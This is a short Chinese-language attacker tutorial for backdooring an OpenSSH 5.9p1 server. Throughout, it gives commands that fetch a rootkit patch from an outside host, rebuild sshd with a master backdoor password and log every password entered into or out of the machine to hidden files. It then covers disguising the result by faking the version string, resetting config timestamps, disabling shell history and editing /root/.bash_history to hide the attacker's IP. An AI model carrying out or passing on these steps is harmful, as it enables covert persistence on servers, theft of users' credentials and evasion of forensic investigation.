OpenSSH后门

下载
http://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz
http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
备份配置文件
>mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old
>mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old
安装关联文件
centos
>yum install -y openssl openssl-devel pam-devel zlib zlib-devel
Ubuntu
>apt-get install -y openssl libssl-dev libpam0g-dev
>tar zxvf openssh-5.9p1.tar.gz 
>tar zxvf 0x06-openssh-5.9p1.patch.tar.gz 
>cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1/
>cd openssh-5.9p1
>patch <sshbd5.9p1.diff
>vim includes.h

/tmp/ilog记录登录到本机的用户密码
/tmp/olog记录本机登录其他机器的账户密码
日志文件前可以加个.隐藏起来
SECRETPW是连接后门密码
查看当前版本
>ssh -V

修改version.h改为当前版本

编译安装
Centos7
>./configure --prefix=/usr/ --sysconfdir=/etc/ssh/ --with-pam --with-kerberos5
>make clean
>make && make install
>systemctl restart sshd.service
ubuntu
>./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam
>make clean
>make&&make install
重启服务，修改文件日志
>touch -r/etc/ssh/ssh_config.old /etc/ssh/ssh_config
>touch -r/etc/ssh/sshd_config.old /etc/ssh/sshd_config

清除痕迹
>export HISTFILE=/dev/null
>export HISTSIZE=0
>export HISTFILESIZE=0
>sed -i 's/192.168.0.1/127.0.0.1/g' /root/.bash_history